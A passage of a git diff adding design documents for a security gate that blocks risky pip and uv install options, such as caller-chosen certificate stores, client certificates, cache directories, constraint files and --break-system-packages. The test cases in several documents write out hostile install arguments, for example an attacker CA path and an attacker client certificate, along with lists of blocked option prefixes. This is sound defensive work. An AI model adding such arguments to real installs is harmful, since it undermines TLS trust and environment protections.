pip/uv resolvers to introduce undeclared transitive artifacts. RED `55224399ca0a4f20d6617fb811e4ec96cb3dcbbc` requires missing `--no-deps` to block for pip, pip3, and uv. Production commits `3069570736bdc4f1975bd698a3849b84cc4b2ba4` and `3eb2a3213bf276bc27997b62d0e738d856cacc7a` add and route the dependency-cardinality guard; `28333cd95bcfebb2066812baba43cf63cb8c226b` updates positive artifact-variant fixtures so the allowed path remains explicitly dependency-bounded. Hosted exact-head CI/security evidence is still required before integration readiness is claimed. + +## References + +Astral Software, Inc. (2026). *uv CLI reference: uv pip install.* Retrieved September 4, 2026, from https://docs.astral.sh/uv/reference/cli/ + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +pip developers. (2026). *pip install: pip documentation.* Retrieved September 4, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +pip developers. (2026). *Repeatable installs: pip documentation.* Retrieved September 4, 2026, from https://pip.pypa.io/en/latest/topics/repeatable-installs/ diff --git a/docs/doctoring/pypi-break-system-packages-authority.md b/docs/doctoring/pypi-break-system-packages-authority.md new file mode 100644 index 00000000..10765df0 --- /dev/null +++ b/docs/doctoring/pypi-break-system-packages-authority.md @@ -0,0 +1,50 @@ +# PyPI externally-managed environment override authority + +## Decision + +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install` options that disable pip's externally-managed-environment protection. A reviewed artifact receipt authorizes the exact package installation represented by the structured intent; it does not authorize the caller to override an interpreter-level installation safety boundary. + +The classifier is intentionally syntactic and limited to supported direct pip installs. Wardnet does not inspect the effective interpreter environment, remove or rewrite an `EXTERNALLY-MANAGED` marker, create a virtual environment, or decide which runtime filesystem paths are writable. + +## Problem and threat + +At exact upstream `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py` defines `--break-system-packages` as the `override_externally_managed` Boolean option with the help contract `Allow pip to modify an EXTERNALLY-MANAGED Python installation`. `InstallCommand.run` checks the externally-managed environment when installing into the current environment unless that override is set. + +PEP 668 defines the `EXTERNALLY-MANAGED` marker specifically so Python-specific installers refuse interpreter-wide mutation by default when another package manager owns the environment. The PEP requires any override to be explicit and to communicate that the operation is risky. + +Before this repair, an otherwise exact approved direct pip request could retain the reviewed artifact, manifest, `--require-hashes`, `--no-deps`, registry and source authority while adding `--break-system-packages`. Because the Boolean option begins with `-`, Wardnet's positional artifact scan did not classify it as another artifact operand and no dedicated guard named the override. + +## Executed RED + +Test-only exact `510457b5584b910bcf39403f2efa5d1ab4fcae70` is exactly one commit above canonical Agent Artifact Admission parent `3ded67b28a991fbe8604f0d73aa7d5d36932ef63` and changes only `crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs`; production source is byte-identical to the parent. + +Hosted CI `34519122876`, rust job `103011915969`, acquired a GitHub-hosted Ubuntu 24.04 runner, completed checkout, pinned Rust toolchain, and `cargo fmt --check`, then failed in the workspace `Test` step. The new contract requires the approved control to remain `Allow` and the same request with `--break-system-packages` to return `Block`. The parent had exact-head CI/Fuzz/Security/SAST GREEN, so this test-only execution is the causal semantic RED rather than bootstrap or formatting noise. + +## Minimum causal repair + +The repair adds one Wardnet-local direct-pip classifier and maps the override to the existing stable `missing_safety_flag` reason. No new runtime environment policy or reason-code namespace is introduced. + +Pip builds the install parser with Python `optparse`, which accepts an unambiguous prefix of a long option. At the reviewed upstream option set, `--b` is ambiguous because `pip install` also accepts `--build-constraint`, while `--br` is the shortest unique prefix of `--break-system-packages`. Wardnet therefore recognizes the exact accepted prefix family from `--br` through `--break-system-packages`. A future pip parser or option-set change requires re-review rather than broad `--b*` matching. + +## Ownership boundary + +Wardnet owns the pre-execution decision that unreviewed installer argv cannot disable a safety boundary and inherit Agent Artifact Admission authority. `quarantine-sandbox-runtime` remains canonical owner of effective filesystem, mount, workspace, privilege, environment and hostile-execution isolation. EgressWeave remains canonical owner of executable outbound destination/DNS/peer/redirect/proxy/TLS/resource authorization. AppGuardrail remains canonical owner of static package/security analysis. + +Wardnet therefore rejects the override but does not infer whether a particular runtime interpreter is externally managed, does not modify that interpreter, and does not duplicate quarantine runtime enforcement. + +## Alternatives considered + +Relying only on the runtime sandbox was rejected because admission would still authorize a side-effect scope not represented by the reviewed intent. Matching only the full option spelling was rejected because the pinned parser accepts unique long-option abbreviations. Rejecting every `--b*` option was rejected because `--build-constraint` is a distinct parser option and broad prefix matching would not represent the reviewed grammar. + +## Verification contract + +Exact approved direct `pip` and `pip3` controls with reviewed artifact coordinates, `--require-hashes`, and `--no-deps` remain `Allow`. Every accepted unambiguous spelling from `--br` through `--break-system-packages` must return `Block` with `missing_safety_flag`. Tests execute only the pure admission function; they do not execute pip or mutate the filesystem. + +Every production or doctoring change invalidates predecessor workflow evidence. Integration requires exact-current CI/Fuzz success, fresh clean review/thread inventory, and ordinary expected-head merge into canonical Agent Artifact Admission before protected-main consideration. Issue #274 remains open until the effective delta reaches protected `main`. + +## Traceability + +- Python Packaging Authority. (2026). *pip command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). `src/pip/_internal/cli/cmdoptions.py` defines `--break-system-packages` and `--build-constraint`; `src/pip/_internal/commands/install.py` adds both to the install parser and checks `override_externally_managed` before installation. GitHub. +- Python Packaging Authority. (2021). *PEP 668: Marking Python base environments as externally managed*. Python Enhancement Proposals. https://peps.python.org/pep-0668/ +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +- Wardnet issue #274 and Draft PR #275 retain the hostile RED, repair, exact-current verification, and protected-main adoption criteria. diff --git a/docs/doctoring/pypi-build-directory-retention-authority.md b/docs/doctoring/pypi-build-directory-retention-authority.md new file mode 100644 index 00000000..2d767682 --- /dev/null +++ b/docs/doctoring/pypi-build-directory-retention-authority.md @@ -0,0 +1,51 @@ +# PyPI build-directory retention authority + +## Decision + +Wardnet Agent Artifact Admission rejects a direct `pip` or `pip3 install` intent when the caller selects pip's build-directory retention option through canonical `--no-clean` or a verified unambiguous long-option prefix beginning at `--no-cl`. + +This is an argv-authority decision only. Wardnet does not choose the temporary directory, inspect retained build trees, delete filesystem content, or infer whether cleanup actually occurred. Effective workspace placement, filesystem isolation, lifecycle cleanup and recovery remain owned by `quarantine-sandbox-runtime`. + +## Problem and threat + +The reviewed artifact receipt authorizes a bounded installer intent. Pip's `--no-clean` changes installer cleanup behavior by retaining build directories that normal operation would remove. Allowing the caller to add that selector after review expands filesystem-retention authority without changing the approved package coordinate, digest or manifest identity. + +At the pinned pip parser surface recorded by issue #335, direct pip uses Python `optparse` long-option abbreviation semantics. `--no-c` is ambiguous in the contemporaneous option set, while `--no-cl` uniquely selects `--no-clean`. The admission language therefore recognizes only the verified family `--no-cl`, `--no-cle`, `--no-clea`, and `--no-clean`; it does not use a broad prefix heuristic. + +## Executed hostile RED + +Test-only exact `4ca6ddb7252461c2f421cf4b0e1bd56ed6d01b16` was based on canonical Agent Artifact Admission parent `#129@a341f70d9629511c0fba0f8b5a7e042f26549f37`; production policy bytes were unchanged. + +Hosted CI run `34641939332`, rust job `103403554979`, acquired a GitHub-hosted Ubuntu 24.04 runner, checked out the PR merge candidate, passed `cargo fmt --check`, and reached the locked workspace tests. The hostile contract failed on the first verified parser spelling: direct `pip install ... --no-cl` returned `Allow` where policy requires `Block`. The exact reviewed direct-pip control remained part of the same contract, so the failure is causal to the added retention authority rather than bootstrap or unrelated policy behavior. + +## Minimum causal repair + +The production repair adds one crate-private direct-pip classifier and wires it into the existing admission decision. A matching request is blocked with the stable `alternate_install_root` reason. The classifier requires exact `pip` or `pip3`, the `install` command, and one of the verified no-clean spellings. Ambiguous, assigned or unrelated tokens such as `--no-c`, `--no-co`, `--no-clean=false`, `--no-cleaner`, `--no-input`, and `--no-deps` do not gain no-clean semantics. + +No pip execution, filesystem probing, temporary-directory selection, package analysis, network authorization, source copy, cross-service SQL or foreign runtime policy was introduced. + +## Ownership boundary + +Wardnet owns the pre-execution security-policy verdict that a reviewed install intent cannot gain unreviewed build-directory retention authority. `quarantine-sandbox-runtime` remains canonical owner of effective filesystem, mount, privilege, resource, ephemeral-workspace and cleanup behavior. EgressWeave remains canonical owner of outbound execution/network authorization. AppGuardrail remains canonical owner of static package/security analysis. Contextual Orchestrator remains canonical owner of LLM orchestration and provider/model execution policy. + +This boundary follows least-authority design: Wardnet can deny the explicit caller request without becoming the executor or claiming facts about the resulting filesystem. + +## Alternatives considered + +Allowing `--no-clean` and relying only on sandbox cleanup was rejected because the reviewed admission would still authorize installer semantics that were not present in the reviewed intent. Inspecting or deleting retained directories inside Wardnet was rejected because it duplicates quarantine runtime ownership and makes the admission decision depend on mutable execution state. Matching every `--no-c*` prefix was rejected because Python `optparse` resolves only unique prefixes and the contemporaneous pip option set makes shorter prefixes ambiguous. + +## Verification and integration contract + +Exact approved direct `pip` and `pip3` installs remain `Allow`. Each verified `--no-clean` spelling must return `Block` with `alternate_install_root`; ambiguous `--no-c` remains a negative control. Every source or doctoring change invalidates predecessor GREEN evidence. + +Stacked feature-branch children are proved by Wardnet-owned CI/Fuzz on the exact child head. Organization ruleset `18156473` applies the central Security Scan, SAST, review and CodeQL workflows to the protected default-branch integration path; those gates must be reacquired on canonical Agent Artifact Admission #129 after ordinary expected-head child integration and before protected-main merge. Child evidence is never promoted to protected-main evidence. + +Issue #335 remains open until this delta reaches protected `main` or a verified complete successor. + +## Traceability + +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Python documentation. Long options may be abbreviated only when the prefix is unambiguous. +- Python Packaging Authority. (2026). *pip command options* at the pinned source revision recorded in Wardnet issue #335. The install option surface defines `--no-clean` as the caller control for retaining build directories. +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +- MITRE. (2025). *CWE-459: Incomplete Cleanup*. Common Weakness Enumeration. +- Wardnet issue #335 and Draft PR #336 retain the parser proof, hostile RED, repair lineage and exact-head integration evidence. diff --git a/docs/doctoring/pypi-cache-directory-authority.md b/docs/doctoring/pypi-cache-directory-authority.md new file mode 100644 index 00000000..c4df539d --- /dev/null +++ b/docs/doctoring/pypi-cache-directory-authority.md @@ -0,0 +1,51 @@ +# PyPI cache-directory write authority + +## Decision + +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install` cache-directory authority before execution. The reviewed artifact receipt authorizes the exact package installation represented by the structured intent; it does not authorize pip to place HTTP or package cache state in an additional caller-selected filesystem location. + +The classifier is intentionally syntactic and bounded to direct supported pip installs. Wardnet does not create, resolve, canonicalize, inspect, open, clean, or authorize the requested path. + +## Problem and threat + +An otherwise exact approved PyPI install can retain the same artifact ecosystem, name, version, registry, publisher, digest, reviewed manifest digest, `--require-hashes`, and `--no-deps` while adding `--cache-dir=/tmp/wardnet-pip-cache`. Because the attached token begins with `-`, Wardnet's positional artifact-operand guard does not treat the pathname as another package operand. + +At exact upstream `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py` defines `--cache-dir` as a `PipOption` of type `path`, defaulting to the normal user cache and described as `Store the cache data in `. The option is part of pip's `general_group`, so install commands receive it. At the same commit, `src/pip/_internal/cli/index_command.py` reads `options.cache_dir` and gives `PipSession` an HTTP cache rooted at `os.path.join(cache_dir, "http-v2")` when caching is enabled. + +This is external control of a filesystem path and maps to CWE-73. The correct Wardnet response is to deny the unreviewed argv capability, not to sanitize or simulate the effective runtime filesystem. + +## Executed RED + +Test-only exact `4bea25c1433a61e7f8e4d3d7e2ef3ea94718e981` is exactly one commit above canonical Agent Artifact Admission parent `5cad3b13a074afe71b664da3fadd942dc886c7fb` and changes only `crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs`; production source is byte-identical to the parent. + +Hosted CI `34515963018`, rust job `103001328011`, acquired a GitHub-hosted Ubuntu 24.04 runner, completed checkout, the pinned Rust toolchain, and `cargo fmt --check`, then failed in the workspace `Test` step while the new contract required the otherwise-approved install plus attached `--cache-dir=/tmp/wardnet-pip-cache` to be blocked. This is the causal semantic RED for the missing cache-directory admission boundary rather than runner/bootstrap/format noise. + +## Minimum causal repair + +The repair adds one Wardnet-local classifier and connects it to the existing stable `alternate_install_root` reason. No new filesystem policy or reason-code namespace is introduced. + +Pip builds its parser on Python `optparse`, which accepts an unambiguous prefix of a long option. At the reviewed pip option set, `--ca` is the shortest unambiguous prefix of `--cache-dir`; other `pip install` long options beginning with `c` diverge through forms such as `--cert`, `--client-cert`, `--constraint`, `--config-settings`, and `--check-build-dependencies`. Wardnet therefore recognizes only the bounded accepted family `--ca`, `--cac`, `--cach`, `--cache`, `--cache-`, `--cache-d`, `--cache-di`, and `--cache-dir`, including attached `=value` and separated value forms. A future pip parser or option-set change requires re-review rather than a broad `--c*` heuristic. + +## Ownership boundary + +Wardnet owns the pre-execution decision that an unreviewed installer argument cannot inherit Agent Artifact Admission authority. `quarantine-sandbox-runtime` remains canonical owner of effective filesystem, mount, workspace, privilege, cleanup, and hostile-execution isolation. EgressWeave remains canonical owner of executable outbound destination/DNS/peer/redirect/proxy/TLS/resource authorization. AppGuardrail remains canonical owner of static package/security analysis. + +Wardnet therefore rejects the cache-directory selector but does not duplicate runtime path containment, create a package cache, inspect cached bytes, or infer transport authorization from cache placement. + +## Alternatives considered + +Allowing arbitrary cache placement and relying only on sandbox containment was rejected because admission would still grant a side effect absent from the reviewed intent. Path allowlisting/sanitization in Wardnet was rejected because effective filesystem authority belongs to quarantine and platform path semantics would create a second runtime policy surface. Matching only the complete `--cache-dir` spelling was rejected because the pinned parser accepts unique long-option abbreviations. + +## Verification contract + +Exact approved direct `pip` and `pip3` install controls with reviewed artifact coordinates, `--require-hashes`, and `--no-deps` remain `Allow`. Complete and accepted abbreviated cache-directory options, in both attached and separated forms, must return `Block` with `alternate_install_root`. Tests do not execute pip or touch the filesystem. + +Every production or doctoring change invalidates predecessor workflow evidence. Integration requires exact-current CI/Fuzz success, fresh clean review/thread inventory, and ordinary expected-head merge into canonical Agent Artifact Admission before protected-main consideration. Issue #272 remains open until the effective delta reaches protected `main`. + +## Traceability + +- MITRE. (2025). *CWE-73: External control of file name or path* (CWE 4.20). https://cwe.mitre.org/data/definitions/73.html +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14 documentation. https://docs.python.org/3/library/optparse.html +- Python Packaging Authority. (2026). *pip command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/cmdoptions.py +- Python Packaging Authority. (2026). *pip index/session command implementation* (same commit). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/index_command.py +- Wardnet issue #272 and Draft PR #273 retain the hostile RED, repair, exact-current verification, and protected-main adoption criteria. diff --git a/docs/doctoring/pypi-certificate-store-authority.md b/docs/doctoring/pypi-certificate-store-authority.md new file mode 100644 index 00000000..05fbead1 --- /dev/null +++ b/docs/doctoring/pypi-certificate-store-authority.md @@ -0,0 +1,61 @@ +# PyPI certificate-store authority + +Status: Proposed implementation evidence on Draft PR #129. This document does not make the branch released or protected truth. + +## Problem + +Wardnet's Agent Artifact Admission decides whether one structured installer intent may proceed to a downstream executor. An approved PyPI package coordinate, digest, registry and workspace manifest do not authorize the caller to replace the TLS certificate store used to authenticate that registry. + +pip 26.2.1 documents HTTPS certificate verification as the default protection against man-in-the-middle attacks and exposes `--cert` / `PIP_CERT` for selecting a certificate bundle. The same pip documentation identifies `REQUESTS_CA_BUNDLE` and `CURL_CA_BUNDLE` as ambient alternatives. A caller-controlled certificate store therefore changes trust authority independently of the reviewed package coordinate. + +The direct-pip CLI uses Python `optparse`-compatible long-option parsing. `optparse` resolves an unambiguous long-option prefix and accepts an option argument either as `--option=value` or as a following argv element. On Wardnet's reviewed direct-pip option surface, `--c` is ambiguous while `--ce` and `--cer` uniquely select `--cert`. Exact-string matching of `--cert` alone therefore leaves an accepted trust-authority spelling outside the policy classifier. + +## Decision + +For structured `pip` and `pip3` argv, Wardnet classifies canonical `--cert` and accepted unambiguous `--ce` / `--cer` abbreviations as `AlternateTrustRoot` and fails the admission request closed. The generic `requests_alternate_trust_root` / `matches_cli_flag` path remains the authority for the canonical exact `--cert` spelling. A narrow `pypi_certificate_store_authority` overlay owns only pip's verified abbreviation grammar that the generic exact-option guard intentionally does not model. + +The abbreviation classifier is bounded to direct `pip install` / `pip3 install`, strips an attached `=value` only for option-name comparison, rejects the ambiguous `--c`, excludes the canonical full spelling from its own responsibility, and does not apply pip grammar to `uv`. Both attached and separate-value `--ce` forms are covered by admission-level tests; the separate value may independently be rejected by operand validation, but the trust-authority reason must still be present. + +Wardnet does not inspect, clear or enforce `PIP_CERT`, `REQUESTS_CA_BUNDLE`, `CURL_CA_BUNDLE`, filesystem certificate contents, operating-system trust stores, or the executor's effective environment. Those are runtime execution/isolation concerns owned by `quarantine-sandbox-runtime`. The corresponding environment-authority witness is tracked in `quarantine-sandbox-runtime#49`. EgressWeave retains outbound transport authorization; Wardnet does not convert an admission receipt into network authority. + +An `allow` receipt therefore means only that the exact reviewed structured installer intent passed Wardnet policy. It is not proof that retrieved bytes, TLS peer authentication, effective environment, network egress or execution are safe. + +## Alternatives considered + +Allowing arbitrary `--cert` values because the package artifact itself is digest-pinned was rejected. Artifact integrity does not make a caller-selected trust anchor benign: registry metadata, authentication and other TLS-protected exchanges can still be redirected or observed, and the reviewed Wardnet policy carries no independently approved certificate-bundle identity. + +Adding certificate-file inspection to Wardnet was rejected because it would duplicate runtime filesystem/environment authority and couple the admission bounded context to executor state. A future released contract may carry an immutable, canonical-owner certificate-policy identity, but mutable paths or sibling source are not production authority. + +Teaching the global long-option matcher every command-specific abbreviation was rejected. Long-option abbreviation is parser- and option-surface-dependent; applying pip grammar globally would create false authority for `uv`, Cargo, npm-family and OCI commands. The narrow direct-pip overlay preserves the existing exact-match invariant everywhere else. + +Silently relying on the existing extra-positional-operand rejection for separate certificate values was rejected because it misclassifies the security property. A stable `AlternateTrustRoot` reason is required for audit evidence and policy interpretation even when another validator also rejects the request. + +## RED → causal repair evidence + +The original canonical-spelling RED `edaf9bbb76a60bf7bdb56ec16e6661c9c86bf9f4` ran in CI `34431988599`, rust job `102729231075`, on hosted Ubuntu 24.04. Checkout, toolchain setup, `cargo fmt --check` and all preceding workspace tests succeeded. The hostile contract proved that `--cert=/tmp/attacker-ca.pem` returned `Allow`, while separate `--cert /tmp/attacker-ca.pem` was blocked without `AlternateTrustRoot`. The minimum canonical repair `43d5e7a8d70d9f7396451ce01402cbcfa7603025` added the exact `--cert` trust-root flag. + +Issue #323 then exposed the remaining parser-language gap. Test-only head `500bf5fd18cf69bb53cc25e7c2568c1037fce267` added an approved direct-pip install carrying `--ce=/tmp/attacker-ca.pem`. CI run `34627238783`, rust job `103355194834`, acquired a hosted Ubuntu 24.04 runner, completed checkout, toolchain and formatting, and failed in the semantic test phase because the exact-option guard did not classify pip's accepted abbreviation as trust authority. + +The minimum production sequence adds `pypi_certificate_store_authority` as the direct-pip abbreviation overlay and wires only its positive classification into `admission_decision`: `a8fa9524aa25de38d5bed1f0408c1cfdf9e12321` introduces the bounded parser, `6a24fbb21358a619948ca5fd50fc19ac6ff2621f` applies `AlternateTrustRoot`, and `766158d0a850f0273cf4052b58475e06919ec9f0` adds admission-level separate-value coverage. Exact-head GREEN must be reacquired after this documentation commit; predecessor runs are not merge evidence. + +## Security traceability + +CWE-295 describes improper certificate validation as a weakness that can permit communication with an attacker-controlled or spoofed peer. Wardnet is not itself a TLS implementation, so CWE-295 is used here as threat traceability rather than as a claim that Wardnet validates certificates. The Wardnet control prevents an approved installer intent from authorizing caller-selected certificate trust that could undermine downstream peer authentication. + +NIST SP 800-52 Rev. 2 remains the current final NIST TLS implementation guideline as of 2026-09-12. NIST opened a periodic review of Rev. 2 on 2026-05-07 and stated that it expects a future revision to align with newer TLS 1.3 work; that review does not supersede the published Rev. 2. The document's TLS certificate guidance supports keeping peer-authentication trust configuration explicit and governed rather than accepting unreviewed caller overrides. + +NIST SP 800-53 Release 5.2.0, published 2025-08-27, remains relevant defense-in-depth traceability for software integrity and controlled system behavior. It does not define pip parsing semantics; the pip/`optparse` primary sources remain authoritative for the exact hostile argv language. + +## References + +MITRE. (2026). *CWE-295: Improper certificate validation* (CWE Version 4.20). https://cwe.mitre.org/data/definitions/295.html + +National Institute of Standards and Technology. (2019). *Guidelines for the selection, configuration, and use of Transport Layer Security (TLS) implementations* (NIST Special Publication 800-52 Rev. 2). https://doi.org/10.6028/NIST.SP.800-52r2 + +National Institute of Standards and Technology. (2025, August 27). *NIST releases revision to SP 800-53 controls*. https://csrc.nist.gov/News/2025/nist-releases-revision-to-sp-800-53-controls + +National Institute of Standards and Technology. (2026, May 7). *NIST requests public comments on SP 800-52 Rev. 2: Guidelines for the selection, configuration, and use of Transport Layer Security (TLS) implementations*. https://www.nist.gov/news-events/news/2026/05/nist-requests-public-comments-sp-800-52-rev-2-guidelines-selection + +Python Packaging Authority. (2026). *HTTPS certificates*. pip 26.2.1 documentation. https://pip.pypa.io/en/stable/topics/https-certificates/ + +Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14.6 documentation. https://docs.python.org/3.14/library/optparse.html diff --git a/docs/doctoring/pypi-client-certificate-authority.md b/docs/doctoring/pypi-client-certificate-authority.md new file mode 100644 index 00000000..f07a00f1 --- /dev/null +++ b/docs/doctoring/pypi-client-certificate-authority.md @@ -0,0 +1,41 @@ +# PyPI client-certificate authority + +Status: Draft until the exact implementation head is merged into the Agent Artifact Admission aggregate and that aggregate reaches protected `main`. + +## Problem + +Wardnet approves package artifacts and reviewed registries; that approval must not implicitly authorize a caller-selected TLS client identity. Direct `pip install` can select a PEM containing a client certificate and private key with `--client-cert`. At the pinned pip parser baseline, long options are parsed through Python `optparse` semantics, which accept an unambiguous prefix. Therefore checking only the canonical spelling leaves parser-equivalent forms such as `--cl=/tmp/client.pem` outside explicit trust-authority evidence. + +This is a structured-command admission concern owned by Wardnet. Wardnet does not load the certificate, resolve credentials, initiate TLS, or take over Keyverse, EgressWeave, quarantine-sandbox-runtime, contextual-orchestrator, or AppGuardrail responsibilities. + +## Constraint and decision + +The direct-pip classifier recognizes only the parser language demonstrated by the pinned upstream surface: + +- executable is `pip` or `pip3`; +- command is `install`; +- the option name is the canonical `--client-cert` spelling or a prefix of that spelling no shorter than `--cl`; +- attached (`--cl=/path`) and separate-value (`--cl /path`) forms are classified; +- shorter ambiguous forms such as `--c` and unrelated lookalikes are not promoted to this authority. + +The classification adds `alternate_trust_root` and blocks admission. The certificate remains opaque data; no file access or TLS behavior is introduced. + +The rejected alternative was a repository-wide `starts_with("--cl")` rule. It would both over-classify unrelated arguments and copy pip parser semantics into package managers that do not share them. Another rejected alternative was exact matching of `--client-cert`, because it does not represent the command parser that will consume the admitted argv. + +## RED/GREEN evidence + +Issue `#321` records the hostile case and acceptance criteria. Draft child PR `#322` was created from exact Agent Artifact Admission head `1fb88b134123bea9b883374fba37b54345b1168c`. + +RED commit `d05f8acd412835d3ebd1284759cf888f3b2b4e4a` left production source byte-identical. Hosted CI run `34625892042`, job `103350772594`, passed checkout, toolchain and formatting, then failed the semantic assertion because `--cl=/tmp/attacker-client.pem` produced `MissingSafetyFlag` without `AlternateTrustRoot`. That failure demonstrates the missing authority classification rather than runner or formatting noise. + +GREEN requires the same hostile case plus separate-value prefix coverage to return `Block` with `AlternateTrustRoot`, followed by exact-head formatting, locked workspace tests, strict Clippy and then-live security/fuzz evidence before ordinary non-force integration into the still-current aggregate. + +## Traceability + +Python Packaging Authority. (2026). *pip command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). `src/pip/_internal/cli/cmdoptions.py` defines `--client-cert` as the path to a PEM-encoded client certificate and private key; `src/pip/_internal/commands/install.py` imports and composes that shared option surface. https://github.com/pypa/pip/tree/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5 + +Python Software Foundation. (2026). *getopt — C-style parser for command line options*. Python 3.14 documentation states that long options may be recognized by a prefix when it matches exactly one accepted option. https://docs.python.org/3.14/library/getopt.html + +Joint Task Force. (2025). *Security and Privacy Controls for Information Systems and Organizations* (NIST SP 800-53 Rev. 5, Release 5.2.0). National Institute of Standards and Technology. The boundary supports least privilege and authenticator-management intent by preventing artifact approval from conferring an unreviewed client credential authority. https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final + +MITRE. (2025). *CWE-15: External Control of System or Configuration Setting*. https://cwe.mitre.org/data/definitions/15.html diff --git a/docs/doctoring/pypi-constraint-authority.md b/docs/doctoring/pypi-constraint-authority.md new file mode 100644 index 00000000..d7c4e805 --- /dev/null +++ b/docs/doctoring/pypi-constraint-authority.md @@ -0,0 +1,43 @@ +# PyPI constraint authority + +## Decision + +Wardnet's Agent Artifact Admission boundary rejects caller-supplied constraint documents for direct `pip install`, `pip3 install`, and `uv pip install` requests. The reviewed intent binds an exact artifact set and exact package-source coordinates; a constraint or build-constraint document is an additional dependency/build selection authority that is not represented by those coordinates. + +This applies to pip `-c` / `--constraint` and `--build-constraint`, including the pinned pip parser's accepted unambiguous long-option prefixes from `--cons` and `--build-c`, and to uv `-c` / `--constraint` / `--constraints` plus `-b` / `--build-constraint` / `--build-constraints`. Both separate-value and attached-value spellings fail closed. The stable evidence reason is `artifact_not_approved`. Shorter ambiguous pip prefixes are not guessed, and pip abbreviation semantics are not applied to uv. + +Wardnet does not fetch or interpret the constraint document, execute the package manager, authorize network transport, inspect an effective runtime environment, or own build isolation. Those remain downstream executor/quarantine/EgressWeave responsibilities. Admission only decides whether the submitted structured argv stays inside the reviewed artifact authority. + +## Threat and causal evidence + +pip documents constraints as files that influence which requirement version is selected and separately documents build constraints for isolated build dependencies. uv exposes equivalent install-time constraint and build-constraint options; its compatibility documentation also notes that constraints can reference direct URL dependencies. A caller-controlled constraint document can therefore change dependency or build inputs independently of the reviewed artifact coordinate. + +pip's pinned CLI implementation uses Python `optparse`, which accepts an unambiguous prefix of a long option. At `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, the shared option definitions contain both `--constraint` and `--config-settings`, so `--con` remains ambiguous while `--cons` uniquely selects `--constraint`; the same source defines `--build-constraint`, for which `--build-c` is an accepted unique prefix in the relevant option surface. + +The original hostile regression used attached option values so the value could not be rejected accidentally as an extra positional artifact. A later parser-semantic regression at exact `e2007957cb5b1409d32df9753d2d3d037781068a` added `--cons=https://x.invalid/c.txt` and `--build-c=https://x.invalid/b.txt`. Hosted CI `34606386616`, rust job `103285721803`, passed checkout, toolchain and formatting, then failed in `Test`, proving the previously repaired exact-option classifier still allowed pip's accepted abbreviated spellings. The minimum repair extends only direct pip/pip3 constraint classification to those verified prefix ranges and adds separate-value coverage; uv retains exact-option semantics. + +## Acceptance + +- exact `pip`, `pip3`, and `uv pip install` controls without constraint authority remain admissible when every other invariant holds; +- pip short/long constraint and build-constraint forms, including verified unambiguous `optparse` prefixes, fail closed; +- shorter ambiguous pip prefixes are not classified as constraint authority; +- uv singular/plural short/long constraint and build-constraint forms fail closed without inheriting pip's prefix grammar; +- attached and separate values are covered explicitly so positional-argument counting cannot masquerade as the causal control; +- no environment/config-file discovery is introduced into Wardnet; +- no quarantine, outbound transport, artifact retrieval, or build execution logic is copied into this bounded context. + +## Traceability + +Python Packaging Authority. (2026). *pip CLI option definitions* (Commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py`). https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/cmdoptions.py + +Python Packaging Authority. (2026). *pip install — pip documentation*. https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Packaging Authority. (2026). *User guide: Constraints files and build constraints*. https://pip.pypa.io/en/latest/user_guide/#constraints-files + +Python Software Foundation. (2026). *optparse — Parser for command line options*. https://docs.python.org/3/library/optparse.html + +Astral Software, Inc. (2026). *uv command reference: uv pip install*. https://docs.astral.sh/uv/reference/cli/#uv-pip-install + +Astral Software, Inc. (2026). *Compatibility with pip*. https://docs.astral.sh/uv/pip/compatibility/ + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 diff --git a/docs/doctoring/pypi-dependency-group-abbreviation-authority.md b/docs/doctoring/pypi-dependency-group-abbreviation-authority.md new file mode 100644 index 00000000..aba50f6f --- /dev/null +++ b/docs/doctoring/pypi-dependency-group-abbreviation-authority.md @@ -0,0 +1,53 @@ +# Direct pip dependency-group abbreviation authority + +## Problem and ownership boundary + +Wardnet Agent Artifact Admission decides whether a structured installer intent stays inside reviewed artifact authority and emits the corresponding pre-execution security evidence. It does not parse project manifests to resolve dependency-group members, fetch packages, perform network/TLS operations, install or execute artifacts, isolate hostile workloads, or discover runtime credentials. Those responsibilities remain with their canonical CWL owners. + +Direct pip supports `--group <[path:]group>` to install a dependency group from `pyproject.toml`. The existing Wardnet guard rejected canonical `--group` but not the shorter unambiguous spelling accepted by pip's Python `optparse`-compatible long-option grammar. Executable parser verification against pip 25.1.1 established `--gro` as accepted for `--group`; shorter `--g` and `--gr` are ambiguous on the pinned option surface and must not be invented as aliases. + +## Hostile realistic RED + +Test-only head 